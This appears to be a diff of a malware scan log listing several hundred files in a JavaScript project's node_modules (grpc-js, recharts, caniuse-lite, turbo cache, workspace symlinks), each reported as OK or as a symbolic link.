+/scan/node_modules/@grpc/grpc-js/src/stream-decoder.ts: OK
+/scan/node_modules/@grpc/grpc-js/src/filter-stack.ts: OK
+/scan/node_modules/@grpc/grpc-js/src/single-subchannel-channel.ts: OK
+/scan/node_modules/@grpc/grpc-js/src/load-balancer-pick-first.ts: OK
+/scan/node_modules/@grpc/grpc-js/src/priority-queue.ts: OK
+/scan/node_modules/@grpc/grpc-js/src/call-credentials.ts: OK
+/scan/node_modules/@grpc/grpc-js/src/tls-helpers.ts: OK
+/scan/node_modules/@grpc/grpc-js/src/channelz.ts: OK
+/scan/node_modules/@grpc/grpc-js/src/http_proxy.ts: OK
+/scan/node_modules/@grpc/grpc-js/src/constants.ts: OK
+/scan/node_modules/@grpc/grpc-js/src/channel.ts: OK
+/scan/node_modules/@grpc/grpc-js/src/duration.ts: OK
+/scan/node_modules/@grpc/grpc-js/src/client.ts: OK
+/scan/node_modules/@grpc/grpc-js/src/server-interceptors.ts: OK
+/scan/node_modules/@grpc/grpc-js/src/connectivity-state.ts: OK
+/scan/node_modules/@grpc/grpc-js/src/events.ts: OK
+/scan/node_modules/@grpc/grpc-js/src/control-plane-status.ts: OK
+/scan/node_modules/@grpc/grpc-js/src/certificate-provider.ts: OK
+/scan/node_modules/@grpc/grpc-js/src/call-number.ts: OK
+/scan/node_modules/@grpc/grpc-js/src/resolver-dns.ts: OK
+/scan/node_modules/@grpc/grpc-js/src/make-client.ts: OK
+/scan/node_modules/@grpc/grpc-js/src/transport.ts: OK
+/scan/node_modules/@grpc/grpc-js/src/compression-algorithms.ts: OK
+/scan/node_modules/@grpc/grpc-js/src/index.ts: OK
+/scan/node_modules/@grpc/grpc-js/src/load-balancing-call.ts: OK
+/scan/node_modules/@grpc/grpc-js/src/internal-channel.ts: OK
+/scan/node_modules/@grpc/grpc-js/src/metadata.ts: OK
+/scan/node_modules/@grpc/grpc-js/src/experimental.ts: OK
+/scan/node_modules/@grpc/grpc-js/src/error.ts: OK
+/scan/node_modules/@grpc/grpc-js/src/orca.ts: OK
+/scan/node_modules/@grpc/grpc-js/src/channel-options.ts: OK
+/scan/node_modules/@grpc/grpc-js/src/subchannel-address.ts: OK
+/scan/node_modules/@grpc/grpc-js/src/client-interceptors.ts: OK
+/scan/node_modules/@grpc/grpc-js/src/server.ts: OK
+/scan/node_modules/@grpc/grpc-js/src/server-call.ts: OK
+/scan/node_modules/@grpc/grpc-js/src/picker.ts: OK
+/scan/node_modules/@grpc/grpc-js/src/logging.ts: OK
+/scan/node_modules/@grpc/grpc-js/src/object-stream.ts: OK
+/scan/node_modules/@grpc/grpc-js/src/resolving-call.ts: OK
+/scan/node_modules/@grpc/grpc-js/src/resolver-uds.ts: OK
+/scan/node_modules/@grpc/grpc-js/src/load-balancer-outlier-detection.ts: OK
+/scan/node_modules/@grpc/proto-loader/LICENSE: OK
+/scan/node_modules/@grpc/proto-loader/README.md: OK
+/scan/node_modules/@grpc/proto-loader/package.json: OK
+/scan/node_modules/@grpc/proto-loader/build/bin/proto-loader-gen-types.js: OK
+/scan/node_modules/@grpc/proto-loader/build/bin/proto-loader-gen-types.js.map: OK
+/scan/node_modules/@grpc/proto-loader/build/src/util.js: OK
+/scan/node_modules/@grpc/proto-loader/build/src/util.js.map: OK
+/scan/node_modules/@grpc/proto-loader/build/src/index.js: OK
+/scan/node_modules/@grpc/proto-loader/build/src/index.js.map: OK
+/scan/node_modules/@grpc/proto-loader/build/src/util.d.ts: OK
+/scan/node_modules/@grpc/proto-loader/build/src/index.d.ts: OK
+/scan/node_modules/.cache/turbo/fc857ae59688b04b.tar.zst: OK
+/scan/node_modules/.cache/turbo/fc857ae59688b04b-meta.json: OK
+/scan/node_modules/.cache/turbo/1ca44e334dfdfe6b-meta.json: OK
+/scan/node_modules/.cache/turbo/1ca44e334dfdfe6b.tar.zst: OK
+/scan/node_modules/.cache/turbo/7340c19e8b2039ed-meta.json: OK
+/scan/node_modules/.cache/turbo/e7c128f0311212aa-meta.json: OK
+/scan/node_modules/.cache/turbo/7340c19e8b2039ed.tar.zst: OK
+/scan/node_modules/.cache/turbo/af165c98b5909ced-meta.json: OK
+/scan/node_modules/.cache/turbo/af165c98b5909ced.tar.zst: OK
+/scan/node_modules/.cache/turbo/e7c128f0311212aa.tar.zst: OK
+/scan/node_modules/@rentaldrivego/database: Symbolic link
+/scan/node_modules/@rentaldrivego/types: Symbolic link
+/scan/node_modules/@rentaldrivego/marketplace: Symbolic link
+/scan/node_modules/@rentaldrivego/admin: Symbolic link
+/scan/node_modules/@rentaldrivego/dashboard: Symbolic link
+/scan/node_modules/@rentaldrivego/public-site: Symbolic link
+/scan/node_modules/@rentaldrivego/api: Symbolic link
+/scan/node_modules/set-blocking/CHANGELOG.md: OK
+/scan/node_modules/set-blocking/index.js: OK
+/scan/node_modules/set-blocking/README.md: OK
+/scan/node_modules/set-blocking/package.json: OK
+/scan/node_modules/set-blocking/LICENSE.txt: OK
+/scan/node_modules/recharts/types/cartesian/Line.d.ts: OK
+/scan/node_modules/recharts/types/cartesian/Brush.d.ts: OK
+/scan/node_modules/recharts/types/cartesian/getEquidistantTicks.d.ts: OK
+/scan/node_modules/recharts/types/cartesian/CartesianGrid.d.ts: OK
+/scan/node_modules/recharts/types/cartesian/Scatter.d.ts: OK
+/scan/node_modules/recharts/types/cartesian/Area.d.ts: OK
+/scan/node_modules/recharts/types/cartesian/CartesianAxis.d.ts: OK
+/scan/node_modules/recharts/types/cartesian/YAxis.d.ts: OK
+/scan/node_modules/recharts/types/cartesian/XAxis.d.ts: OK
+/scan/node_modules/recharts/types/cartesian/ReferenceDot.d.ts: OK
+/scan/node_modules/recharts/types/cartesian/Bar.d.ts: OK
+/scan/node_modules/recharts/types/cartesian/getTicks.d.ts: OK
+/scan/node_modules/recharts/types/cartesian/ReferenceLine.d.ts: OK
+/scan/node_modules/recharts/types/cartesian/ReferenceArea.d.ts: OK
+/scan/node_modules/recharts/types/cartesian/ZAxis.d.ts: OK
+/scan/node_modules/recharts/types/cartesian/ErrorBar.d.ts: OK
+/scan/node_modules/recharts/types/polar/PolarGrid.d.ts: OK
+/scan/node_modules/recharts/types/polar/types.d.ts: OK
+/scan/node_modules/recharts/types/polar/PolarRadiusAxis.d.ts: OK
+/scan/node_modules/recharts/types/polar/RadialBar.d.ts: OK
+/scan/node_modules/recharts/types/polar/Pie.d.ts: OK
+/scan/node_modules/recharts/types/polar/PolarAngleAxis.d.ts: OK
+/scan/node_modules/recharts/types/polar/Radar.d.ts: OK
+/scan/node_modules/recharts/types/shape/Sector.d.ts: OK
+/scan/node_modules/recharts/types/shape/Curve.d.ts: OK
+/scan/node_modules/recharts/types/shape/Dot.d.ts: OK
+/scan/node_modules/recharts/types/shape/Rectangle.d.ts: OK
+/scan/node_modules/recharts/types/shape/Cross.d.ts: OK
+/scan/node_modules/recharts/types/shape/Trapezoid.d.ts: OK
+/scan/node_modules/recharts/types/shape/Polygon.d.ts: OK
+/scan/node_modules/recharts/types/shape/Symbols.d.ts: OK
+/scan/node_modules/recharts/types/context/chartLayoutContext.d.ts: OK
+/scan/node_modules/recharts/types/util/isDomainSpecifiedByUser.d.ts: OK
+/scan/node_modules/recharts/types/util/Constants.d.ts: OK
+/scan/node_modules/recharts/types/util/LogUtils.d.ts: OK
+/scan/node_modules/recharts/types/util/FunnelUtils.d.ts: OK
+/scan/node_modules/recharts/types/util/BarUtils.d.ts: OK
+/scan/node_modules/recharts/types/util/tooltip/translate.d.ts: OK
+/scan/node_modules/recharts/types/util/ActiveShapeUtils.d.ts: OK
+/scan/node_modules/recharts/types/util/Events.d.ts: OK
+/scan/node_modules/recharts/types/util/CssPrefixUtils.d.ts: OK
+/scan/node_modules/recharts/types/util/cursor/getCursorPoints.d.ts: OK
+/scan/node_modules/recharts/types/util/cursor/getCursorRectangle.d.ts: OK
+/scan/node_modules/recharts/types/util/cursor/getRadialCursorPoints.d.ts: OK
+/scan/node_modules/recharts/types/util/TickUtils.d.ts: OK
+/scan/node_modules/recharts/types/util/types.d.ts: OK
+/scan/node_modules/recharts/types/util/ScatterUtils.d.ts: OK
+/scan/node_modules/recharts/types/util/IfOverflowMatches.d.ts: OK
+/scan/node_modules/recharts/types/util/payload/getUniqPayload.d.ts: OK
+/scan/node_modules/recharts/types/util/CartesianUtils.d.ts: OK
+/scan/node_modules/recharts/types/util/ReduceCSSCalc.d.ts: OK
+/scan/node_modules/recharts/types/util/DetectReferenceElementsDomain.d.ts: OK
+/scan/node_modules/recharts/types/util/getLegendProps.d.ts: OK
+/scan/node_modules/recharts/types/util/DataUtils.d.ts: OK
+/scan/node_modules/recharts/types/util/ReactUtils.d.ts: OK
+/scan/node_modules/recharts/types/util/ChartUtils.d.ts: OK
+/scan/node_modules/recharts/types/util/Global.d.ts: OK
+/scan/node_modules/recharts/types/util/getEveryNthWithCondition.d.ts: OK
+/scan/node_modules/recharts/types/util/PolarUtils.d.ts: OK
+/scan/node_modules/recharts/types/util/DOMUtils.d.ts: OK
+/scan/node_modules/recharts/types/util/RadialBarUtils.d.ts: OK
+/scan/node_modules/recharts/types/util/calculateViewBox.d.ts: OK
+/scan/node_modules/recharts/types/util/ShallowEqual.d.ts: OK
+/scan/node_modules/recharts/types/chart/ComposedChart.d.ts: OK
+/scan/node_modules/recharts/types/chart/RadialBarChart.d.ts: OK
+/scan/node_modules/recharts/types/chart/types.d.ts: OK
+/scan/node_modules/recharts/types/chart/Sankey.d.ts: OK
+/scan/node_modules/recharts/types/chart/LineChart.d.ts: OK
+/scan/node_modules/recharts/types/chart/ScatterChart.d.ts: OK
+/scan/node_modules/recharts/types/chart/generateCategoricalChart.d.ts: OK
+/scan/node_modules/recharts/types/chart/PieChart.d.ts: OK
+/scan/node_modules/recharts/types/chart/AccessibilityManager.d.ts: OK
+/scan/node_modules/recharts/types/chart/SunburstChart.d.ts: OK
+/scan/node_modules/recharts/types/chart/Treemap.d.ts: OK
+/scan/node_modules/recharts/types/chart/AreaChart.d.ts: OK
+/scan/node_modules/recharts/types/chart/RadarChart.d.ts: OK
+/scan/node_modules/recharts/types/chart/BarChart.d.ts: OK
+/scan/node_modules/recharts/types/chart/FunnelChart.d.ts: OK
+/scan/node_modules/recharts/types/component/Cursor.d.ts: OK
+/scan/node_modules/recharts/types/component/Cell.d.ts: OK
+/scan/node_modules/recharts/types/component/Customized.d.ts: OK
+/scan/node_modules/recharts/types/component/Tooltip.d.ts: OK
+/scan/node_modules/recharts/types/component/LabelList.d.ts: OK
+/scan/node_modules/recharts/types/component/TooltipBoundingBox.d.ts: OK
+/scan/node_modules/recharts/types/component/DefaultLegendContent.d.ts: OK
+/scan/node_modules/recharts/types/component/Label.d.ts: OK
+/scan/node_modules/recharts/types/component/Text.d.ts: OK
+/scan/node_modules/recharts/types/component/ResponsiveContainer.d.ts: OK
+/scan/node_modules/recharts/types/component/DefaultTooltipContent.d.ts: OK
+/scan/node_modules/recharts/types/component/Legend.d.ts: OK
+/scan/node_modules/recharts/types/container/Layer.d.ts: OK
+/scan/node_modules/recharts/types/container/Surface.d.ts: OK
+/scan/node_modules/recharts/types/index.d.ts: OK
+/scan/node_modules/recharts/types/numberAxis/Funnel.d.ts: OK
+/scan/node_modules/recharts/LICENSE: OK
+/scan/node_modules/recharts/CHANGELOG.md: OK
+/scan/node_modules/recharts/umd/Recharts.js.map: OK
+/scan/node_modules/recharts/umd/Recharts.js.LICENSE.txt: OK
+/scan/node_modules/recharts/umd/report.html: OK
+/scan/node_modules/recharts/umd/Recharts.js: OK
+/scan/node_modules/recharts/node_modules/react-is/LICENSE: OK
+/scan/node_modules/recharts/node_modules/react-is/umd/react-is.development.js: OK
+/scan/node_modules/recharts/node_modules/react-is/umd/react-is.production.min.js: OK
+/scan/node_modules/recharts/node_modules/react-is/index.js: OK
+/scan/node_modules/recharts/node_modules/react-is/README.md: OK
+/scan/node_modules/recharts/node_modules/react-is/package.json: OK
+/scan/node_modules/recharts/node_modules/react-is/cjs/react-is.development.js: OK
+/scan/node_modules/recharts/node_modules/react-is/cjs/react-is.production.min.js: OK
+/scan/node_modules/recharts/README.md: OK
+/scan/node_modules/recharts/package.json: OK
+/scan/node_modules/recharts/CONTRIBUTING.md: OK
+/scan/node_modules/recharts/es6/cartesian/Line.js: OK
+/scan/node_modules/recharts/es6/cartesian/XAxis.js: OK
+/scan/node_modules/recharts/es6/cartesian/ReferenceArea.js: OK
+/scan/node_modules/recharts/es6/cartesian/ZAxis.js: OK
+/scan/node_modules/recharts/es6/cartesian/getEquidistantTicks.js: OK
+/scan/node_modules/recharts/es6/cartesian/CartesianAxis.js: OK
+/scan/node_modules/recharts/es6/cartesian/CartesianGrid.js: OK
+/scan/node_modules/recharts/es6/cartesian/getTicks.js: OK
+/scan/node_modules/recharts/es6/cartesian/YAxis.js: OK
+/scan/node_modules/recharts/es6/cartesian/ReferenceLine.js: OK
+/scan/node_modules/recharts/es6/cartesian/Area.js: OK
+/scan/node_modules/recharts/es6/cartesian/ErrorBar.js: OK
+/scan/node_modules/recharts/es6/cartesian/Brush.js: OK
+/scan/node_modules/recharts/es6/cartesian/ReferenceDot.js: OK
+/scan/node_modules/recharts/es6/cartesian/Bar.js: OK
+/scan/node_modules/recharts/es6/cartesian/Scatter.js: OK
+/scan/node_modules/recharts/es6/polar/Radar.js: OK
+/scan/node_modules/recharts/es6/polar/RadialBar.js: OK
+/scan/node_modules/recharts/es6/polar/Pie.js: OK
+/scan/node_modules/recharts/es6/polar/types.js: OK
+/scan/node_modules/recharts/es6/polar/PolarRadiusAxis.js: OK
+/scan/node_modules/recharts/es6/polar/PolarGrid.js: OK
+/scan/node_modules/recharts/es6/polar/PolarAngleAxis.js: OK
+/scan/node_modules/recharts/es6/shape/Polygon.js: OK
+/scan/node_modules/recharts/es6/shape/Cross.js: OK
+/scan/node_modules/recharts/es6/shape/Sector.js: OK
+/scan/node_modules/recharts/es6/shape/Dot.js: OK
+/scan/node_modules/recharts/es6/shape/Trapezoid.js: OK
+/scan/node_modules/recharts/es6/shape/Symbols.js: OK
+/scan/node_modules/recharts/es6/shape/Curve.js: OK
+/scan/node_modules/recharts/es6/shape/Rectangle.js: OK
+/scan/node_modules/recharts/es6/context/chartLayoutContext.js: OK
+/scan/node_modules/recharts/es6/util/Constants.js: OK
+/scan/node_modules/recharts/es6/util/Events.js: OK
+/scan/node_modules/recharts/es6/util/tooltip/translate.js: OK
+/scan/node_modules/recharts/es6/util/ReduceCSSCalc.js: OK
+/scan/node_modules/recharts/es6/util/DataUtils.js: OK
+/scan/node_modules/recharts/es6/util/LogUtils.js: OK
+/scan/node_modules/recharts/es6/util/types.js: OK
+/scan/node_modules/recharts/es6/util/BarUtils.js: OK
+/scan/node_modules/recharts/es6/util/cursor/getCursorRectangle.js: OK
+/scan/node_modules/recharts/es6/util/cursor/getCursorPoints.js: OK
+/scan/node_modules/recharts/es6/util/cursor/getRadialCursorPoints.js: OK
+/scan/node_modules/recharts/es6/util/isDomainSpecifiedByUser.js: OK
+/scan/node_modules/recharts/es6/util/calculateViewBox.js: OK
+/scan/node_modules/recharts/es6/util/ShallowEqual.js: OK
+/scan/node_modules/recharts/es6/util/payload/getUniqPayload.js: OK
+/scan/node_modules/recharts/es6/util/Global.js: OK
+/scan/node_modules/recharts/es6/util/getLegendProps.js: OK
+/scan/node_modules/recharts/es6/util/ChartUtils.js: OK
+/scan/node_modules/recharts/es6/util/ReactUtils.js: OK
+/scan/node_modules/recharts/es6/util/ActiveShapeUtils.js: OK
+/scan/node_modules/recharts/es6/util/CssPrefixUtils.js: OK
+/scan/node_modules/recharts/es6/util/ScatterUtils.js: OK
+/scan/node_modules/recharts/es6/util/getEveryNthWithCondition.js: OK
+/scan/node_modules/recharts/es6/util/CartesianUtils.js: OK
+/scan/node_modules/recharts/es6/util/FunnelUtils.js: OK
+/scan/node_modules/recharts/es6/util/DetectReferenceElementsDomain.js: OK
+/scan/node_modules/recharts/es6/util/DOMUtils.js: OK
+/scan/node_modules/recharts/es6/util/IfOverflowMatches.js: OK
+/scan/node_modules/recharts/es6/util/PolarUtils.js: OK
+/scan/node_modules/recharts/es6/util/RadialBarUtils.js: OK
+/scan/node_modules/recharts/es6/util/TickUtils.js: OK
+/scan/node_modules/recharts/es6/chart/Treemap.js: OK
+/scan/node_modules/recharts/es6/chart/generateCategoricalChart.js: OK
+/scan/node_modules/recharts/es6/chart/LineChart.js: OK
+/scan/node_modules/recharts/es6/chart/AccessibilityManager.js: OK
+/scan/node_modules/recharts/es6/chart/RadialBarChart.js: OK
+/scan/node_modules/recharts/es6/chart/types.js: OK
+/scan/node_modules/recharts/es6/chart/AreaChart.js: OK
+/scan/node_modules/recharts/es6/chart/ScatterChart.js: OK
+/scan/node_modules/recharts/es6/chart/PieChart.js: OK
+/scan/node_modules/recharts/es6/chart/FunnelChart.js: OK
+/scan/node_modules/recharts/es6/chart/ComposedChart.js: OK
+/scan/node_modules/recharts/es6/chart/Sankey.js: OK
+/scan/node_modules/recharts/es6/chart/SunburstChart.js: OK
+/scan/node_modules/recharts/es6/chart/BarChart.js: OK
+/scan/node_modules/recharts/es6/chart/RadarChart.js: OK
+/scan/node_modules/recharts/es6/index.js: OK
+/scan/node_modules/recharts/es6/component/TooltipBoundingBox.js: OK
+/scan/node_modules/recharts/es6/component/Cell.js: OK
+/scan/node_modules/recharts/es6/component/Tooltip.js: OK
+/scan/node_modules/recharts/es6/component/DefaultLegendContent.js: OK
+/scan/node_modules/recharts/es6/component/Legend.js: OK
+/scan/node_modules/recharts/es6/component/Cursor.js: OK
+/scan/node_modules/recharts/es6/component/LabelList.js: OK
+/scan/node_modules/recharts/es6/component/Customized.js: OK
+/scan/node_modules/recharts/es6/component/ResponsiveContainer.js: OK
+/scan/node_modules/recharts/es6/component/Text.js: OK
+/scan/node_modules/recharts/es6/component/Label.js: OK
+/scan/node_modules/recharts/es6/component/DefaultTooltipContent.js: OK
+/scan/node_modules/recharts/es6/container/Surface.js: OK
+/scan/node_modules/recharts/es6/container/Layer.js: OK
+/scan/node_modules/recharts/es6/numberAxis/Funnel.js: OK
+/scan/node_modules/recharts/lib/cartesian/Line.js: OK
+/scan/node_modules/recharts/lib/cartesian/XAxis.js: OK
+/scan/node_modules/recharts/lib/cartesian/ReferenceArea.js: OK
+/scan/node_modules/recharts/lib/cartesian/ZAxis.js: OK
+/scan/node_modules/recharts/lib/cartesian/getEquidistantTicks.js: OK
+/scan/node_modules/recharts/lib/cartesian/CartesianAxis.js: OK
+/scan/node_modules/recharts/lib/cartesian/CartesianGrid.js: OK
+/scan/node_modules/recharts/lib/cartesian/getTicks.js: OK
+/scan/node_modules/recharts/lib/cartesian/YAxis.js: OK
+/scan/node_modules/recharts/lib/cartesian/ReferenceLine.js: OK
+/scan/node_modules/recharts/lib/cartesian/Area.js: OK
+/scan/node_modules/recharts/lib/cartesian/ErrorBar.js: OK
+/scan/node_modules/recharts/lib/cartesian/Brush.js: OK
+/scan/node_modules/recharts/lib/cartesian/ReferenceDot.js: OK
+/scan/node_modules/recharts/lib/cartesian/Bar.js: OK
+/scan/node_modules/recharts/lib/cartesian/Scatter.js: OK
+/scan/node_modules/recharts/lib/polar/Radar.js: OK
+/scan/node_modules/recharts/lib/polar/RadialBar.js: OK
+/scan/node_modules/recharts/lib/polar/Pie.js: OK
+/scan/node_modules/recharts/lib/polar/types.js: OK
+/scan/node_modules/recharts/lib/polar/PolarRadiusAxis.js: OK
+/scan/node_modules/recharts/lib/polar/PolarGrid.js: OK
+/scan/node_modules/recharts/lib/polar/PolarAngleAxis.js: OK
+/scan/node_modules/recharts/lib/shape/Polygon.js: OK
+/scan/node_modules/recharts/lib/shape/Cross.js: OK
+/scan/node_modules/recharts/lib/shape/Sector.js: OK
+/scan/node_modules/recharts/lib/shape/Dot.js: OK
+/scan/node_modules/recharts/lib/shape/Trapezoid.js: OK
+/scan/node_modules/recharts/lib/shape/Symbols.js: OK
+/scan/node_modules/recharts/lib/shape/Curve.js: OK
+/scan/node_modules/recharts/lib/shape/Rectangle.js: OK
+/scan/node_modules/recharts/lib/context/chartLayoutContext.js: OK
+/scan/node_modules/recharts/lib/util/Constants.js: OK
+/scan/node_modules/recharts/lib/util/Events.js: OK
+/scan/node_modules/recharts/lib/util/tooltip/translate.js: OK
+/scan/node_modules/recharts/lib/util/ReduceCSSCalc.js: OK
+/scan/node_modules/recharts/lib/util/DataUtils.js: OK
+/scan/node_modules/recharts/lib/util/LogUtils.js: OK
+/scan/node_modules/recharts/lib/util/types.js: OK
+/scan/node_modules/recharts/lib/util/BarUtils.js: OK
+/scan/node_modules/recharts/lib/util/cursor/getCursorRectangle.js: OK
+/scan/node_modules/recharts/lib/util/cursor/getCursorPoints.js: OK
+/scan/node_modules/recharts/lib/util/cursor/getRadialCursorPoints.js: OK
+/scan/node_modules/recharts/lib/util/isDomainSpecifiedByUser.js: OK
+/scan/node_modules/recharts/lib/util/calculateViewBox.js: OK
+/scan/node_modules/recharts/lib/util/ShallowEqual.js: OK
+/scan/node_modules/recharts/lib/util/payload/getUniqPayload.js: OK
+/scan/node_modules/recharts/lib/util/Global.js: OK
+/scan/node_modules/recharts/lib/util/getLegendProps.js: OK
+/scan/node_modules/recharts/lib/util/ChartUtils.js: OK
+/scan/node_modules/recharts/lib/util/ReactUtils.js: OK
+/scan/node_modules/recharts/lib/util/ActiveShapeUtils.js: OK
+/scan/node_modules/recharts/lib/util/CssPrefixUtils.js: OK
+/scan/node_modules/recharts/lib/util/ScatterUtils.js: OK
+/scan/node_modules/recharts/lib/util/getEveryNthWithCondition.js: OK
+/scan/node_modules/recharts/lib/util/CartesianUtils.js: OK
+/scan/node_modules/recharts/lib/util/FunnelUtils.js: OK
+/scan/node_modules/recharts/lib/util/DetectReferenceElementsDomain.js: OK
+/scan/node_modules/recharts/lib/util/DOMUtils.js: OK
+/scan/node_modules/recharts/lib/util/IfOverflowMatches.js: OK
+/scan/node_modules/recharts/lib/util/PolarUtils.js: OK
+/scan/node_modules/recharts/lib/util/RadialBarUtils.js: OK
+/scan/node_modules/recharts/lib/util/TickUtils.js: OK
+/scan/node_modules/recharts/lib/chart/Treemap.js: OK
+/scan/node_modules/recharts/lib/chart/generateCategoricalChart.js: OK
+/scan/node_modules/recharts/lib/chart/LineChart.js: OK
+/scan/node_modules/recharts/lib/chart/AccessibilityManager.js: OK
+/scan/node_modules/recharts/lib/chart/RadialBarChart.js: OK
+/scan/node_modules/recharts/lib/chart/types.js: OK
+/scan/node_modules/recharts/lib/chart/AreaChart.js: OK
+/scan/node_modules/recharts/lib/chart/ScatterChart.js: OK
+/scan/node_modules/recharts/lib/chart/PieChart.js: OK
+/scan/node_modules/recharts/lib/chart/FunnelChart.js: OK
+/scan/node_modules/recharts/lib/chart/ComposedChart.js: OK
+/scan/node_modules/recharts/lib/chart/Sankey.js: OK
+/scan/node_modules/recharts/lib/chart/SunburstChart.js: OK
+/scan/node_modules/recharts/lib/chart/BarChart.js: OK
+/scan/node_modules/recharts/lib/chart/RadarChart.js: OK
+/scan/node_modules/recharts/lib/index.js: OK
+/scan/node_modules/recharts/lib/component/TooltipBoundingBox.js: OK
+/scan/node_modules/recharts/lib/component/Cell.js: OK
+/scan/node_modules/recharts/lib/component/Tooltip.js: OK
+/scan/node_modules/recharts/lib/component/DefaultLegendContent.js: OK
+/scan/node_modules/recharts/lib/component/Legend.js: OK
+/scan/node_modules/recharts/lib/component/Cursor.js: OK
+/scan/node_modules/recharts/lib/component/LabelList.js: OK
+/scan/node_modules/recharts/lib/component/Customized.js: OK
+/scan/node_modules/recharts/lib/component/ResponsiveContainer.js: OK
+/scan/node_modules/recharts/lib/component/Text.js: OK
+/scan/node_modules/recharts/lib/component/Label.js: OK
+/scan/node_modules/recharts/lib/component/DefaultTooltipContent.js: OK
+/scan/node_modules/recharts/lib/container/Surface.js: OK
+/scan/node_modules/recharts/lib/container/Layer.js: OK
+/scan/node_modules/recharts/lib/numberAxis/Funnel.js: OK
+/scan/node_modules/caniuse-lite/LICENSE: OK
+/scan/node_modules/caniuse-lite/dist/unpacker/region.js: OK
+/scan/node_modules/caniuse-lite/dist/unpacker/agents.js: OK
+/scan/node_modules/caniuse-lite/dist/unpacker/feature.js: OK
+/scan/node_modules/caniuse-lite/dist/unpacker/features.js: OK
+/scan/node_modules/caniuse-lite/dist/unpacker/index.js: OK
+/scan/node_modules/caniuse-lite/dist/unpacker/browserVersions.js: OK
+/scan/node_modules/caniuse-lite/dist/unpacker/browsers.js: OK
+/scan/node_modules/caniuse-lite/dist/lib/supported.js: OK
+/scan/node_modules/caniuse-lite/dist/lib/statuses.js: OK
+/scan/node_modules/caniuse-lite/README.md: OK
+/scan/node_modules/caniuse-lite/package.json: OK
+/scan/node_modules/caniuse-lite/data/regions/CM.js: OK
+/scan/node_modules/caniuse-lite/data/regions/TM.js: OK
+/scan/node_modules/caniuse-lite/data/regions/NR.js: OK
+/scan/node_modules/caniuse-lite/data/regions/GT.js: OK
+/scan/node_modules/caniuse-lite/data/regions/PT.js: OK
+/scan/node_modules/caniuse-lite/data/regions/MV.js: OK
+/scan/node_modules/caniuse-lite/data/regions/alt-as.js: OK
+/scan/node_modules/caniuse-lite/data/regions/SH.js: OK
+/scan/node_modules/caniuse-lite/data/regions/AI.js: OK
+/scan/node_modules/caniuse-lite/data/regions/VI.js: OK
+/scan/node_modules/caniuse-lite/data/regions/LV.js: OK
+/scan/node_modules/caniuse-lite/data/regions/CU.js: OK
+/scan/node_modules/caniuse-lite/data/regions/GL.js: OK
+/scan/node_modules/caniuse-lite/data/regions/PL.js: OK
+/scan/node_modules/caniuse-lite/data/regions/BM.js: OK
+/scan/node_modules/caniuse-lite/data/regions/MN.js: OK
+/scan/node_modules/caniuse-lite/data/regions/JO.js: OK
+/scan/node_modules/caniuse-lite/data/regions/GP.js: OK
+/scan/node_modules/caniuse-lite/data/regions/MR.js: OK
+/scan/node_modules/caniuse-lite/data/regions/VU.js: OK
+/scan/node_modules/caniuse-lite/data/regions/AU.js: OK
+/scan/node_modules/caniuse-lite/data/regions/ST.js: OK
+/scan/node_modules/caniuse-lite/data/regions/KW.js: OK
+/scan/node_modules/caniuse-lite/data/regions/CI.js: OK
+/scan/node_modules/caniuse-lite/data/regions/alt-ww.js: OK
+/scan/node_modules/caniuse-lite/data/regions/PH.js: OK
+/scan/node_modules/caniuse-lite/data/regions/BI.js: OK
+/scan/node_modules/caniuse-lite/data/regions/GH.js: OK
+/scan/node_modules/caniuse-lite/data/regions/HK.js: OK
+/scan/node_modules/caniuse-lite/data/regions/ET.js: OK
+/scan/node_modules/caniuse-lite/data/regions/LR.js: OK
+/scan/node_modules/caniuse-lite/data/regions/IS.js: OK
+/scan/node_modules/caniuse-lite/data/regions/SL.js: OK
+/scan/node_modules/caniuse-lite/data/regions/AM.js: OK
+/scan/node_modules/caniuse-lite/data/regions/GQ.js: OK
+/scan/node_modules/caniuse-lite/data/regions/HR.js: OK
+/scan/node_modules/caniuse-lite/data/regions/MS.js: OK
+/scan/node_modules/caniuse-lite/data/regions/LK.js: OK
+/scan/node_modules/caniuse-lite/data/regions/AT.js: OK
+/scan/node_modules/caniuse-lite/data/regions/FI.js: OK
+/scan/node_modules/caniuse-lite/data/regions/TH.js: OK
+/scan/node_modules/caniuse-lite/data/regions/CH.js: OK
+/scan/node_modules/caniuse-lite/data/regions/alt-an.js: OK
+/scan/node_modules/caniuse-lite/data/regions/BH.js: OK
+/scan/node_modules/caniuse-lite/data/regions/GI.js: OK
+/scan/node_modules/caniuse-lite/data/regions/RU.js: OK
+/scan/node_modules/caniuse-lite/data/regions/MK.js: OK
+/scan/node_modules/caniuse-lite/data/regions/DM.js: OK
+/scan/node_modules/caniuse-lite/data/regions/LS.js: OK
+/scan/node_modules/caniuse-lite/data/regions/SM.js: OK
+/scan/node_modules/caniuse-lite/data/regions/AL.js: OK
+/scan/node_modules/caniuse-lite/data/regions/IR.js: OK
+/scan/node_modules/caniuse-lite/data/regions/NO.js: OK
+/scan/node_modules/caniuse-lite/data/regions/KN.js: OK
+/scan/node_modules/caniuse-lite/data/regions/IN.js: OK
+/scan/node_modules/caniuse-lite/data/regions/KR.js: OK
+/scan/node_modules/caniuse-lite/data/regions/CL.js: OK
+/scan/node_modules/caniuse-lite/data/regions/FM.js: OK
+/scan/node_modules/caniuse-lite/data/regions/TL.js: OK
+/scan/node_modules/caniuse-lite/data/regions/GU.js: OK
+/scan/node_modules/caniuse-lite/data/regions/BT.js: OK
+/scan/node_modules/caniuse-lite/data/regions/MW.js: OK
+/scan/node_modules/caniuse-lite/data/regions/ZW.js: OK
+/scan/node_modules/caniuse-lite/data/regions/SI.js: OK
+/scan/node_modules/caniuse-lite/data/regions/TT.js: OK
+/scan/node_modules/caniuse-lite/data/regions/GM.js: OK
+/scan/node_modules/caniuse-lite/data/regions/PM.js: OK
+/scan/node_modules/caniuse-lite/data/regions/MO.js: OK
+/scan/node_modules/caniuse-lite/data/regions/HN.js: OK
+/scan/node_modules/caniuse-lite/data/regions/CG.js: OK
+/scan/node_modules/caniuse-lite/data/regions/KY.js: OK
+/scan/node_modules/caniuse-lite/data/regions/TG.js: OK
+/scan/node_modules/caniuse-lite/data/regions/SZ.js: OK
+/scan/node_modules/caniuse-lite/data/regions/IE.js: OK
+/scan/node_modules/caniuse-lite/data/regions/DZ.js: OK
+/scan/node_modules/caniuse-lite/data/regions/SB.js: OK
+/scan/node_modules/caniuse-lite/data/regions/VC.js: OK
+/scan/node_modules/caniuse-lite/data/regions/MD.js: OK
+/scan/node_modules/caniuse-lite/data/regions/GF.js: OK
+/scan/node_modules/caniuse-lite/data/regions/UG.js: OK
